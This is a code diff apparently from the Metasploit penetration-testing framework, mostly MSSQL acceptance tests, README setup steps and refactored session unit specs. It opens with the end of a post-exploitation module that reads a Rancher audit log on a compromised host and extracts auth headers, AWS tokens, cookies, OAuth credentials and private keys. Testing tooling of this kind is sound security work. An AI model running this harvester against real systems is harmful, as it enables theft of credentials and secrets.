'DisclosureDate' => '2024-02-08',
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'Reliability' => [],
|
||||
'SideEffects' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
register_advanced_options [
|
||||
OptString.new('LOGFILE', [ true, 'The log file to analyze', '/var/log/auditlog/rancher-api-audit.log' ])
|
||||
]
|
||||
end
|
||||
|
||||
def run
|
||||
# docker install, and default path according to https://ranchermanager.docs.rancher.com/how-to-guides/advanced-user-guides/enable-api-audit-log#api-audit-log-options
|
||||
fail_with Failure::BadConfig, "#{datastore['LOGFILE']} is not readable or not found" unless readable?(datastore['LOGFILE'])
|
||||
|
||||
log = read_file(datastore['LOGFILE'])
|
||||
loot = store_loot('rancher.api.log', 'text/plain', session, log, 'rancher.api.txt', 'Rancher API Log')
|
||||
print_good("Rancher log saved to: #{loot}")
|
||||
|
||||
usernames_found = []
|
||||
table = Rex::Text::Table.new('Header' => 'Leaked Information', 'Indent' => 1, 'Columns' => ['Field', 'Value', 'Location'])
|
||||
|
||||
log.each_line do |line|
|
||||
leaky_request_headers = ['X-Api-Auth-Header', 'X-Amz-Security-Token']
|
||||
leaky_response_headers = ['X-Api-Set-Cookie-Header']
|
||||
leaky_request_body = ['credentials', 'applicationSecret', 'oauthCredential', 'serviceAccountCredential', 'spKey', 'spCert', 'certificate', 'privateKey']
|
||||
|
||||
json_line = JSON.parse(line)
|
||||
|
||||
if json_line.key? 'requestHeader'
|
||||
leaky_request_headers.each do |leaky_field|
|
||||
next unless json_line['requestHeader'].key? leaky_field
|
||||
|
||||
secret = json_line['requestHeader'][leaky_field]
|
||||
secret = secret.join(' ') if secret.is_a?(Array)
|
||||
print_good("Found #{leaky_field} #{secret}")
|
||||
table << [leaky_field, secret, 'requestHeader']
|
||||
end
|
||||
end
|
||||
|
||||
if json_line.key? 'responseHeader'
|
||||
leaky_response_headers.each do |leaky_field|
|
||||
next unless json_line['responseHeader'].key? leaky_field
|
||||
|
||||
secret = json_line['responseHeader'][leaky_field]
|
||||
secret = secret.join(' ') if secret.is_a?(Array)
|
||||
print_good("Found #{leaky_field}: #{secret}")
|
||||
table << [leaky_field, secret, 'responseHeader']
|
||||
end
|
||||
end
|
||||
|
||||
if json_line.key? 'requestBody'
|
||||
leaky_request_body.each do |leaky_field|
|
||||
next unless json_line['requestBody'].key? leaky_field
|
||||
|
||||
secret = json_line['requestBody'][leaky_field]
|
||||
secret = secret.join(' ') if secret.is_a?(Array)
|
||||
print_good("Found #{leaky_field} in #{secret}")
|
||||
table << [leaky_field, secret, 'requestBody']
|
||||
end
|
||||
end
|
||||
|
||||
if json_line.key? 'responseBody'
|
||||
leaky_request_body.each do |leaky_field|
|
||||
next unless json_line['responseBody'].key? leaky_field
|
||||
|
||||
secret = json_line['responseBody'][leaky_field]
|
||||
secret = secret.join(' ') if secret.is_a?(Array)
|
||||
print_good("Found #{leaky_field} in #{secret}")
|
||||
table << [leaky_field, secret, 'responseBody']
|
||||
end
|
||||
end
|
||||
|
||||
usernames = json_line.dig('user', 'extra', 'username')
|
||||
next if usernames.nil?
|
||||
|
||||
usernames_found += usernames
|
||||
end
|
||||
|
||||
usernames_found.uniq.each do |username|
|
||||
table << ['Username', username, 'Requests']
|
||||
end
|
||||
|
||||
print_line
|
||||
print_line(table.to_s)
|
||||
end
|
||||
end
|
||||
+1
-1
@@ -197,7 +197,7 @@ module Msf
|
||||
|
||||
def nessus_verify_db
|
||||
if !(framework.db && framework.db.active)
|
||||
print_error('No database has been configured, please use db_create/db_connect first')
|
||||
print_error('No database has been configured, please use db_connect first')
|
||||
return false
|
||||
end
|
||||
true
|
||||
|
||||
+1
-1
@@ -40,7 +40,7 @@ module Msf
|
||||
|
||||
def nexpose_verify_db
|
||||
if !(framework.db && framework.db.usable && framework.db.active)
|
||||
print_error('No database has been configured, please use db_create/db_connect first')
|
||||
print_error('No database has been configured, please use db_connect first')
|
||||
return false
|
||||
end
|
||||
|
||||
|
||||
@@ -61,6 +61,20 @@ Run the test suite:
|
||||
MYSQL_RPORT=9000 SPEC_OPTS='--tag acceptance' SPEC_HELPER_LOAD_METASPLOIT=false bundle exec rspec ./spec/acceptance/mysql_spec.rb
|
||||
```
|
||||
|
||||
### MSSQL
|
||||
|
||||
Run a target:
|
||||
|
||||
```
|
||||
docker run -e "ACCEPT_EULA=Y" -e 'MSSQL_SA_PASSWORD=yourStrong(!)Password' -p 1433:1433 -d mcr.microsoft.com/mssql/server:2019-latest
|
||||
```
|
||||
|
||||
Run the test suite:
|
||||
|
||||
```
|
||||
MSSQL_RPORT=1433 SPEC_OPTS='--tag acceptance' SPEC_HELPER_LOAD_METASPLOIT=false bundle exec rspec ./spec/acceptance/mssql_spec.rb
|
||||
```
|
||||
|
||||
#### Allure reports
|
||||
|
||||
Generate allure reports locally:
|
||||
|
||||
@@ -0,0 +1,373 @@
|
||||
require 'acceptance_spec_helper'
|
||||
|
||||
RSpec.describe 'MSSQL sessions and MSSQL modules' do
|
||||
include_context 'wait_for_expect'
|
||||
|
||||
TESTS = {
|
||||
mssql: {
|
||||
target: {
|
||||
session_module: "auxiliary/scanner/mssql/mssql_login",
|
||||
type: 'MSSQL',
|
||||
platforms: [:linux, :osx, :windows],
|
||||
datastore: {
|
||||
global: {},
|
||||
module: {
|
||||
username: ENV.fetch('MSSQL_USER', 'sa'),
|
||||
password: ENV.fetch('MSSQL_PASSWORD', 'yourStrong(!)Password'),
|
||||
rhost: ENV.fetch('MSSQL_RHOST', '127.0.0.1'),
|
||||
rport: ENV.fetch('MSSQL_RPORT', '1433'),
|
||||
database: 'master'
|
||||
}
|
||||
}
|
||||
},
|
||||
module_tests: [
|
||||
{
|
||||
name: "post/test/mssql",
|
||||
platforms: [:linux, :osx, :windows],
|
||||
targets: [:session],
|
||||
skipped: false,
|
||||
},
|
||||
{
|
||||
name: "auxiliary/scanner/mssql/mssql_hashdump",
|
||||
platforms: [:linux, :osx, :windows],
|
||||
targets: [:session, :rhost],
|
||||
skipped: false,
|
||||
lines: {
|
||||
all: {
|
||||
required: [
|
||||
'Instance Name:'
|
||||
]
|
||||
},
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "auxiliary/admin/mssql/mssql_enum",
|
||||
platforms: [:linux, :osx, :windows],
|
||||
targets: [:session, :rhost],
|
||||
skipped: false,
|
||||
lines: {
|
||||
all: {
|
||||
required: [
|
||||
'Version:',
|
||||
/Microsoft SQL Server \d+.\d+/,
|
||||
'Databases on the server:',
|
||||
'System Logins on this Server:'
|
||||
]
|
||||
},
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "auxiliary/scanner/mssql/mssql_schemadump",
|
||||
platforms: [:linux, :osx, :windows],
|
||||
targets: [:session, :rhost],
|
||||
skipped: false,
|
||||
lines: {
|
||||
all: {
|
||||
required: [
|
||||
'Instance Name:',
|
||||
'Scanned 1 of 1 hosts (100% complete)'
|
||||
]
|
||||
},
|
||||
}
|
||||
},
|
||||
{
|
||||
name: "auxiliary/admin/mssql/mssql_sql",
|
||||
platforms: [:linux, :osx, :windows],
|
||||
targets: [:session, :rhost],
|
||||
skipped: false,
|
||||
lines: {
|
||||
all: {
|
||||
required: [
|
||||
# Default module query
|
||||
"Response",
|
||||
# Result
|
||||
"Microsoft SQL Server",
|
||||
]
|
||||
},
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
TEST_ENVIRONMENT = AllureRspec.configuration.environment_properties
|
||||
|
||||
let_it_be(:current_platform) { Acceptance::Meterpreter::current_platform }
|
||||
|
||||
# Driver instance, keeps track of all open processes/payloads/etc, so they can be closed cleanly
|
||||
let_it_be(:driver) do
|
||||
driver = Acceptance::ConsoleDriver.new
|
||||
driver
|
||||
end
|
||||
|
||||
# Opens a test console with the test loadpath specified
|
||||
# @!attribute [r] console
|
||||
# @return [Acceptance::Console]
|
||||
let_it_be(:console) do
|
||||
console = driver.open_console
|
||||
|
||||
# Load the test modules
|
||||
console.sendline('loadpath test/modules')
|
||||
console.recvuntil(/Loaded \d+ modules:[^\n]*\n/)
|
||||
console.recvuntil(/\d+ auxiliary modules[^\n]*\n/)
|
||||
console.recvuntil(/\d+ exploit modules[^\n]*\n/)
|
||||
console.recvuntil(/\d+ post modules[^\n]*\n/)
|
||||
console.recvuntil(Acceptance::Console.prompt)
|
||||
|
||||
# Read the remaining console
|
||||
# console.sendline "quit -y"
|
||||
# console.recv_available
|
||||
|
||||
features = %w[
|
||||
mssql_session_type
|
||||
]
|
||||
|
||||
features.each do |feature|
|
||||
console.sendline("features set #{feature} true")
|
||||
console.recvuntil(Acceptance::Console.prompt)
|
||||
end
|
||||
|
||||
console
|
||||
end
|
||||
|
||||
# Run the given block in a 'test harness' which will handle all of the boilerplate for asserting module results, cleanup, and artifact tracking
|
||||
# This doesn't happen in a before/after block to ensure that allure's report generation is correctly attached to the correct test scope
|
||||
def with_test_harness(module_test)
|
||||
begin
|
||||
replication_commands = []
|
||||
|
||||
known_failures = module_test.dig(:lines, :all, :known_failures) || []
|
||||
known_failures += module_test.dig(:lines, current_platform, :known_failures) || []
|
||||
known_failures = known_failures.flat_map { |value| Acceptance::LineValidation.new(*Array(value)).flatten }
|
||||
|
||||
required_lines = module_test.dig(:lines, :all, :required) || []
|
||||
required_lines += module_test.dig(:lines, current_platform, :required) || []
|
||||
required_lines = required_lines.flat_map { |value| Acceptance::LineValidation.new(*Array(value)).flatten }
|
||||
|
||||
yield replication_commands
|
||||
|
||||
# XXX: When debugging failed tests, you can enter into an interactive msfconsole prompt with:
|
||||
# console.interact
|
||||
|
||||
# Expect the test module to complete
|
||||
module_type = module_test[:name].split('/').first
|
||||
test_result = console.recvuntil("#{module_type.capitalize} module execution completed")
|
||||
|
||||
# Ensure there are no failures, and assert tests are complete
|
||||
aggregate_failures("#{target.type} target and passes the #{module_test[:name].inspect} tests") do
|
||||
# Skip any ignored lines from the validation input
|
||||
validated_lines = test_result.lines.reject do |line|
|
||||
is_acceptable = known_failures.any? do |acceptable_failure|
|
||||
is_matching_line = is_matching_line.value.is_a?(Regexp) ? line.match?(acceptable_failure.value) : line.include?(acceptable_failure.value)
|
||||
is_matching_line &&
|
||||
acceptable_failure.if?(test_environment)
|
||||
end || line.match?(/Passed: \d+; Failed: \d+/)
|
||||
|
||||
is_acceptable
|
||||
end
|
||||
|
||||
validated_lines.each do |test_line|
|
||||
test_line = Acceptance::Meterpreter.uncolorize(test_line)
|
||||
expect(test_line).to_not include('FAILED', '[-] FAILED', '[-] Exception', '[-] '), "Unexpected error: #{test_line}"
|
||||
end
|
||||
|
||||
# Assert all expected lines are present
|
||||
required_lines.each do |required|
|
||||
next unless required.if?(test_environment)
|
||||
if required.value.is_a?(Regexp)
|
||||
expect(test_result).to match(required.value)
|
||||
else
|
||||
expect(test_result).to include(required.value)
|
||||
end
|
||||
end
|
||||
|
||||
# Assert all ignored lines are present, if they are not present - they should be removed from
|
||||
# the calling config
|
||||
known_failures.each do |acceptable_failure|
|
||||
next if acceptable_failure.flaky?(test_environment)
|
||||
next unless acceptable_failure.if?(test_environment)
|
||||
|
||||
expect(test_result).to include(acceptable_failure.value)
|
||||
end
|
||||
end
|
||||
rescue RSpec::Expectations::ExpectationNotMetError, StandardError => e
|
||||
test_run_error = e
|
||||
end
|
||||
|
||||
# Test cleanup. We intentionally omit cleanup from an `after(:each)` to ensure the allure attachments are
|
||||
# still generated if the session dies in a weird way etc
|
||||
|
||||
console_reset_error = nil
|
||||
current_console_data = console.all_data
|
||||
begin
|
||||
console.reset
|
||||
rescue => e
|
||||
console_reset_error = e
|
||||
Allure.add_attachment(
|
||||
name: 'console.reset failure information',
|
||||
source: "Error: #{e.class} - #{e.message}\n#{(e.backtrace || []).join("\n")}",
|
||||
type: Allure::ContentType::TXT
|
||||
)
|
||||
end
|
||||
|
||||
target_configuration_details = target.as_readable_text(
|
||||
default_global_datastore: default_global_datastore,
|
||||
default_module_datastore: default_module_datastore
|
||||
)
|
||||
|
||||
replication_steps = <<~EOF
|
||||
## Load test modules
|
||||
loadpath test/modules
|
||||
|
||||
#{target_configuration_details}
|
||||
|
||||
## Replication commands
|
||||
#{replication_commands.empty? ? '# no additional commands run' : replication_commands.join("\n")}
|
||||
EOF
|
||||
|
||||
Allure.add_attachment(
|
||||
name: 'payload configuration and replication',
|
||||
source: replication_steps,
|
||||
type: Allure::ContentType::TXT
|
||||
)
|
||||
|
||||
Allure.add_attachment(
|
||||
name: 'console data',
|
||||
source: current_console_data,
|
||||
type: Allure::ContentType::TXT
|
||||
)
|
||||
|
||||
test_assertions = JSON.pretty_generate(
|
||||
{
|
||||
required_lines: required_lines.map(&:to_h),
|
||||
known_failures: known_failures.map(&:to_h),
|
||||
}
|
||||
)
|
||||
Allure.add_attachment(
|
||||
name: 'test assertions',
|
||||
source: test_assertions,
|
||||
type: Allure::ContentType::TXT
|
||||
)
|
||||
|
||||
raise test_run_error if test_run_error
|
||||
raise console_reset_error if console_reset_error
|
||||
end
|
||||
|
||||
TESTS.each do |runtime_name, test_config|
|
||||
runtime_name = "#{runtime_name}#{ENV.fetch('RUNTIME_VERSION', '')}"
|
||||
|
||||
describe "#{Acceptance::Meterpreter.current_platform}/#{runtime_name}", focus: test_config[:focus] do
|
||||
test_config[:module_tests].each do |module_test|
|
||||
describe(
|
||||
module_test[:name],
|
||||
if: (
|
||||
Acceptance::Meterpreter.supported_platform?(module_test)
|
||||
)
|
||||
) do
|
||||
let(:target) { Acceptance::Target.new(test_config[:target]) }
|
||||
|
||||
let(:default_global_datastore) do
|
||||
{
|
||||
}
|
||||
end
|
||||
|
||||
let(:test_environment) { TEST_ENVIRONMENT }
|
||||
|
||||
let(:default_module_datastore) do
|
||||
{
|
||||
lhost: '127.0.0.1'
|
||||
}
|
||||
end
|
||||
|
||||
# The shared session id that will be reused across the test run
|
||||
let(:session_id) do
|
||||
console.sendline "use #{target.session_module}"
|
||||
console.recvuntil(Acceptance::Console.prompt)
|
||||
|
||||
# Set global options
|
||||
console.sendline target.setg_commands(default_global_datastore: default_global_datastore)
|
||||
console.recvuntil(Acceptance::Console.prompt)
|
||||
|
||||
console.sendline target.run_command(default_module_datastore: { PASS_FILE: nil, USER_FILE: nil, CreateSession: true })
|
||||
|
||||
session_id = nil
|
||||
# Wait for the session to open, or break early if the payload is detected as dead
|
||||
wait_for_expect do
|
||||
session_opened_matcher = /#{target.type} session (\d+) opened[^\n]*\n/
|
||||
session_message = ''
|
||||
begin
|
||||
session_message = console.recvuntil(session_opened_matcher, timeout: 1)
|
||||
rescue Acceptance::ChildProcessRecvError
|
||||
# noop
|
||||
end
|
||||
|
||||
session_id = session_message[session_opened_matcher, 1]
|
||||
expect(session_id).to_not be_nil
|
||||
end
|
||||
|
||||
session_id
|
||||
end
|
||||
|
||||
before :each do |example|
|
||||
next unless example.respond_to?(:parameter)
|
||||
|
||||
# Add the test environment metadata to the rspec example instance - so it appears in the final allure report UI
|
||||
test_environment.each do |key, value|
|
||||
example.parameter(key, value)
|
||||
end
|
||||
end
|
||||
|
||||
after :all do
|
||||
driver.close_payloads
|
||||
console.reset
|
||||
end
|
||||
|
||||
context "when targeting a session", if: module_test[:targets].include?(:session) do
|
||||
it(
|
||||
"#{Acceptance::Meterpreter.current_platform}/#{runtime_name} session opens and passes the #{module_test[:name].inspect} tests"
|
||||
) do
|
||||
with_test_harness(module_test) do |replication_commands|
|
||||
# Ensure we have a valid session id; We intentionally omit this from a `before(:each)` to ensure the allure attachments are generated if the session dies
|
||||
expect(session_id).to_not(be_nil, proc do
|
||||
"There should be a session present"
|
||||
end)
|
||||
|
||||
use_module = "use #{module_test[:name]}"
|
||||
run_module = "run session=#{session_id} Verbose=true"
|
||||
|
||||
replication_commands << use_module
|
||||
console.sendline(use_module)
|
||||
console.recvuntil(Acceptance::Console.prompt)
|
||||
|
||||
replication_commands << run_module
|
||||
console.sendline(run_module)
|
||||
|
||||
# Assertions will happen after this block ends
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
context "when targeting an rhost", if: module_test[:targets].include?(:rhost) do
|
||||
it(
|
||||
"#{Acceptance::Meterpreter.current_platform}/#{runtime_name} rhost opens and passes the #{module_test[:name].inspect} tests"
|
||||
) do
|
||||
with_test_harness(module_test) do |replication_commands|
|
||||
use_module = "use #{module_test[:name]}"
|
||||
run_module = "run #{target.datastore_options(default_module_datastore: default_module_datastore)} Verbose=true"
|
||||
|
||||
replication_commands << use_module
|
||||
console.sendline(use_module)
|
||||
console.recvuntil(Acceptance::Console.prompt)
|
||||
|
||||
replication_commands << run_module
|
||||
console.sendline(run_module)
|
||||
|
||||
# Assertions will happen after this block ends
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -4,7 +4,6 @@ require 'spec_helper'
|
||||
require 'rex/post/mssql'
|
||||
|
||||
RSpec.describe Msf::Sessions::MSSQL do
|
||||
let(:rstream) { instance_double(::Rex::Socket) }
|
||||
let(:client) { instance_double(Rex::Proto::MSSQL::Client) }
|
||||
let(:opts) { { client: client } }
|
||||
let(:console_class) { Rex::Post::MSSQL::Ui::Console }
|
||||
@@ -16,7 +15,7 @@ RSpec.describe Msf::Sessions::MSSQL do
|
||||
let(:description) { 'MSSQL' }
|
||||
let(:can_cleanup_files) { false }
|
||||
let(:address) { '192.0.2.1' }
|
||||
let(:port) { '1433' }
|
||||
let(:port) { 1433 }
|
||||
let(:peer_info) { "#{address}:#{port}" }
|
||||
let(:console) do
|
||||
console = Rex::Post::MSSQL::Ui::Console.new(session)
|
||||
@@ -28,127 +27,11 @@ RSpec.describe Msf::Sessions::MSSQL do
|
||||
before(:each) do
|
||||
allow(user_input).to receive(:intrinsic_shell?).and_return(true)
|
||||
allow(user_input).to receive(:output=)
|
||||
allow(client).to receive(:sock).and_return(rstream)
|
||||
allow(client).to receive(:initial_info_for_envchange).with({ envchange: 1 }).and_return(envchange_result)
|
||||
allow(rstream).to receive(:peerinfo).and_return(peer_info)
|
||||
allow(client).to receive(:peerinfo).and_return(peer_info)
|
||||
allow(client).to receive(:peerport).and_return(port)
|
||||
allow(client).to receive(:peerhost).and_return(address)
|
||||
end
|
||||
|
||||
subject(:session) do
|
||||
mssql_session = described_class.new(rstream, opts)
|
||||
mssql_session.user_input = user_input
|
||||
mssql_session.user_output = user_output
|
||||
mssql_session.name = name
|
||||
mssql_session
|
||||
end
|
||||
|
||||
describe '.type' do
|
||||
it 'should have the correct type' do
|
||||
expect(described_class.type).to eq(type)
|
||||
end
|
||||
end
|
||||
|
||||
describe '.can_cleanup_files' do
|
||||
it 'should be able to cleanup files' do
|
||||
expect(described_class.can_cleanup_files).to eq(can_cleanup_files)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#desc' do
|
||||
it 'should have the correct description' do
|
||||
expect(subject.desc).to eq(description)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#type' do
|
||||
it 'should have the correct type' do
|
||||
expect(subject.type).to eq(type)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
context 'without a client' do
|
||||
let(:opts) { {} }
|
||||
|
||||
it 'raises a KeyError' do
|
||||
expect { subject }.to raise_exception(KeyError)
|
||||
end
|
||||
end
|
||||
context 'with a client' do
|
||||
it 'does not raise an exception' do
|
||||
expect { subject }.not_to raise_exception
|
||||
end
|
||||
end
|
||||
|
||||
it 'creates a new console' do
|
||||
expect(subject.console).to be_a(console_class)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#bootstrap' do
|
||||
subject { session.bootstrap }
|
||||
|
||||
it 'keeps the sessions user input' do
|
||||
expect { subject }.not_to change(session, :user_input).from(user_input)
|
||||
end
|
||||
|
||||
it 'keeps the sessions user output' do
|
||||
expect { subject }.not_to change(session, :user_output).from(user_output)
|
||||
end
|
||||
|
||||
it 'sets the console input' do
|
||||
expect { subject }.to change(session.console, :input).to(user_input)
|
||||
end
|
||||
|
||||
it 'sets the console output' do
|
||||
expect { subject }.to change(session.console, :output).to(user_output)
|
||||
end
|
||||
|
||||
it 'sets the log source' do
|
||||
expect { subject }.to change(session.console, :log_source).to(log_source)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#reset_ui' do
|
||||
before(:each) do
|
||||
session.bootstrap
|
||||
end
|
||||
|
||||
subject { session.reset_ui }
|
||||
|
||||
it 'keeps the sessions user input' do
|
||||
expect { subject }.not_to change(session, :user_input).from(user_input)
|
||||
end
|
||||
|
||||
it 'keeps the sessions user output' do
|
||||
expect { subject }.not_to change(session, :user_output).from(user_output)
|
||||
end
|
||||
|
||||
it 'resets the console input' do
|
||||
expect { subject }.to change(session.console, :input).from(user_input).to(nil)
|
||||
end
|
||||
|
||||
it 'resets the console output' do
|
||||
expect { subject }.to change(session.console, :output).from(user_output).to(nil)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#exit' do
|
||||
subject { session.exit }
|
||||
|
||||
it 'exits the session' do
|
||||
expect { subject }.to change(session.console, :stopped?).from(false).to(true)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#address' do
|
||||
subject { session.address }
|
||||
|
||||
it { is_expected.to eq(address) }
|
||||
end
|
||||
|
||||
describe '#port' do
|
||||
subject { session.port }
|
||||
|
||||
it { is_expected.to eq(port) }
|
||||
end
|
||||
it_behaves_like 'client session'
|
||||
end
|
||||
|
||||
@@ -4,9 +4,8 @@ require 'spec_helper'
|
||||
require 'rex/proto/mysql/client'
|
||||
|
||||
RSpec.describe Msf::Sessions::MySQL do
|
||||
let(:rstream) { instance_double(::Rex::Socket) }
|
||||
let(:client) { instance_double(::Rex::Proto::MySQL::Client) }
|
||||
let(:opts) { { client: client } }
|
||||
let(:opts) { { client: client, platform: Msf::Platform::Linux.realname, arch: ARCH_X86_64 } }
|
||||
let(:console_class) { Rex::Post::MySQL::Ui::Console }
|
||||
let(:user_input) { instance_double(Rex::Ui::Text::Input::Readline) }
|
||||
let(:user_output) { instance_double(Rex::Ui::Text::Output::Stdio) }
|
||||
@@ -16,135 +15,19 @@ RSpec.describe Msf::Sessions::MySQL do
|
||||
let(:description) { 'MySQL' }
|
||||
let(:can_cleanup_files) { false }
|
||||
let(:address) { '192.0.2.1' }
|
||||
let(:port) { '3306' }
|
||||
let(:port) { 3306 }
|
||||
let(:peerinfo) { "#{address}:#{port}" }
|
||||
let(:current_database) { 'database_name' }
|
||||
|
||||
before(:each) do
|
||||
allow(user_input).to receive(:output=)
|
||||
allow(user_input).to receive(:intrinsic_shell?).and_return(true)
|
||||
allow(rstream).to receive(:peerinfo).and_return(peerinfo)
|
||||
allow(client).to receive(:socket).and_return(rstream)
|
||||
allow(client).to receive(:peerinfo).and_return(peerinfo)
|
||||
allow(client).to receive(:peerport).and_return(port)
|
||||
allow(client).to receive(:peerhost).and_return(address)
|
||||
allow(client).to receive(:current_database).and_return(current_database)
|
||||
allow(::Rex::Proto::MySQL::Client).to receive(:connect).and_return(client)
|
||||
end
|
||||
|
||||
subject(:session) do
|
||||
mysql_session = described_class.new(rstream, opts)
|
||||
mysql_session.user_input = user_input
|
||||
mysql_session.user_output = user_output
|
||||
mysql_session.name = name
|
||||
mysql_session
|
||||
end
|
||||
|
||||
describe '.type' do
|
||||
it 'should have the correct type' do
|
||||
expect(described_class.type).to eq(type)
|
||||
end
|
||||
end
|
||||
|
||||
describe '.can_cleanup_files' do
|
||||
it 'should be able to cleanup files' do
|
||||
expect(described_class.can_cleanup_files).to eq(can_cleanup_files)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#desc' do
|
||||
it 'should have the correct description' do
|
||||
expect(subject.desc).to eq(description)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#type' do
|
||||
it 'should have the correct type' do
|
||||
expect(subject.type).to eq(type)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
context 'without a client' do
|
||||
let(:opts) { {} }
|
||||
|
||||
it 'raises a KeyError' do
|
||||
expect { subject }.to raise_exception(KeyError)
|
||||
end
|
||||
end
|
||||
context 'with a client' do
|
||||
it 'does not raise an exception' do
|
||||
expect { subject }.not_to raise_exception
|
||||
end
|
||||
end
|
||||
|
||||
it 'creates a new console' do
|
||||
expect(subject.console).to be_a(console_class)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#bootstrap' do
|
||||
subject { session.bootstrap }
|
||||
|
||||
it 'keeps the sessions user input' do
|
||||
expect { subject }.not_to change(session, :user_input).from(user_input)
|
||||
end
|
||||
|
||||
it 'keeps the sessions user output' do
|
||||
expect { subject }.not_to change(session, :user_output).from(user_output)
|
||||
end
|
||||
|
||||
it 'sets the console input' do
|
||||
expect { subject }.to change(session.console, :input).to(user_input)
|
||||
end
|
||||
|
||||
it 'sets the console output' do
|
||||
expect { subject }.to change(session.console, :output).to(user_output)
|
||||
end
|
||||
|
||||
it 'sets the log source' do
|
||||
expect { subject }.to change(session.console, :log_source).to(log_source)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#reset_ui' do
|
||||
before(:each) do
|
||||
session.bootstrap
|
||||
end
|
||||
|
||||
subject { session.reset_ui }
|
||||
|
||||
it 'keeps the sessions user input' do
|
||||
expect { subject }.not_to change(session, :user_input).from(user_input)
|
||||
end
|
||||
|
||||
it 'keeps the sessions user output' do
|
||||
expect { subject }.not_to change(session, :user_output).from(user_output)
|
||||
end
|
||||
|
||||
it 'resets the console input' do
|
||||
expect { subject }.to change(session.console, :input).from(user_input).to(nil)
|
||||
end
|
||||
|
||||
it 'resets the console output' do
|
||||
expect { subject }.to change(session.console, :output).from(user_output).to(nil)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#exit' do
|
||||
subject { session.exit }
|
||||
|
||||
it 'exits the session' do
|
||||
expect { subject }.to change(session.console, :stopped?).from(false).to(true)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#address' do
|
||||
subject { session.address }
|
||||
|
||||
it { is_expected.to eq(address) }
|
||||
end
|
||||
|
||||
describe '#port' do
|
||||
subject { session.port }
|
||||
|
||||
it { is_expected.to eq(port) }
|
||||
end
|
||||
it_behaves_like 'client session'
|
||||
end
|
||||
|
||||
@@ -4,7 +4,6 @@ require 'spec_helper'
|
||||
require 'postgres/postgres-pr/connection'
|
||||
|
||||
RSpec.describe Msf::Sessions::PostgreSQL do
|
||||
let(:rstream) { instance_double(::Rex::Socket) }
|
||||
let(:client) { instance_double(Msf::Db::PostgresPR::Connection) }
|
||||
let(:opts) { { client: client } }
|
||||
let(:console_class) { Rex::Post::PostgreSQL::Ui::Console }
|
||||
@@ -16,135 +15,19 @@ RSpec.describe Msf::Sessions::PostgreSQL do
|
||||
let(:description) { 'PostgreSQL' }
|
||||
let(:can_cleanup_files) { false }
|
||||
let(:address) { '192.0.2.1' }
|
||||
let(:port) { '5432' }
|
||||
let(:port) { 5432 }
|
||||
let(:peer_info) { "#{address}:#{port}" }
|
||||
let(:current_database) { 'template1' }
|
||||
|
||||
before(:each) do
|
||||
allow(user_input).to receive(:intrinsic_shell?).and_return(true)
|
||||
allow(user_input).to receive(:output=)
|
||||
allow(rstream).to receive(:peerinfo).and_return(peer_info)
|
||||
allow(client).to receive(:conn).and_return(rstream)
|
||||
allow(client).to receive(:peerinfo).and_return(peer_info)
|
||||
allow(client).to receive(:peerhost).and_return(address)
|
||||
allow(client).to receive(:peerport).and_return(port)
|
||||
allow(client).to receive(:params).and_return({ 'database' => current_database })
|
||||
allow(client).to receive(:current_database).and_return(current_database)
|
||||
end
|
||||
|
||||
subject(:session) do
|
||||
postgresql_session = described_class.new(rstream, opts)
|
||||
postgresql_session.user_input = user_input
|
||||
postgresql_session.user_output = user_output
|
||||
postgresql_session.name = name
|
||||
postgresql_session
|
||||
end
|
||||
|
||||
describe '.type' do
|
||||
it 'should have the correct type' do
|
||||
expect(described_class.type).to eq(type)
|
||||
end
|
||||
end
|
||||
|
||||
describe '.can_cleanup_files' do
|
||||
it 'should be able to cleanup files' do
|
||||
expect(described_class.can_cleanup_files).to eq(can_cleanup_files)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#desc' do
|
||||
it 'should have the correct description' do
|
||||
expect(subject.desc).to eq(description)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#type' do
|
||||
it 'should have the correct type' do
|
||||
expect(subject.type).to eq(type)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
context 'without a client' do
|
||||
let(:opts) { {} }
|
||||
|
||||
it 'raises a KeyError' do
|
||||
expect { subject }.to raise_exception(KeyError)
|
||||
end
|
||||
end
|
||||
context 'with a client' do
|
||||
it 'does not raise an exception' do
|
||||
expect { subject }.not_to raise_exception
|
||||
end
|
||||
end
|
||||
|
||||
it 'creates a new console' do
|
||||
expect(subject.console).to be_a(console_class)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#bootstrap' do
|
||||
subject { session.bootstrap }
|
||||
|
||||
it 'keeps the sessions user input' do
|
||||
expect { subject }.not_to change(session, :user_input).from(user_input)
|
||||
end
|
||||
|
||||
it 'keeps the sessions user output' do
|
||||
expect { subject }.not_to change(session, :user_output).from(user_output)
|
||||
end
|
||||
|
||||
it 'sets the console input' do
|
||||
expect { subject }.to change(session.console, :input).to(user_input)
|
||||
end
|
||||
|
||||
it 'sets the console output' do
|
||||
expect { subject }.to change(session.console, :output).to(user_output)
|
||||
end
|
||||
|
||||
it 'sets the log source' do
|
||||
expect { subject }.to change(session.console, :log_source).to(log_source)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#reset_ui' do
|
||||
before(:each) do
|
||||
session.bootstrap
|
||||
end
|
||||
|
||||
subject { session.reset_ui }
|
||||
|
||||
it 'keeps the sessions user input' do
|
||||
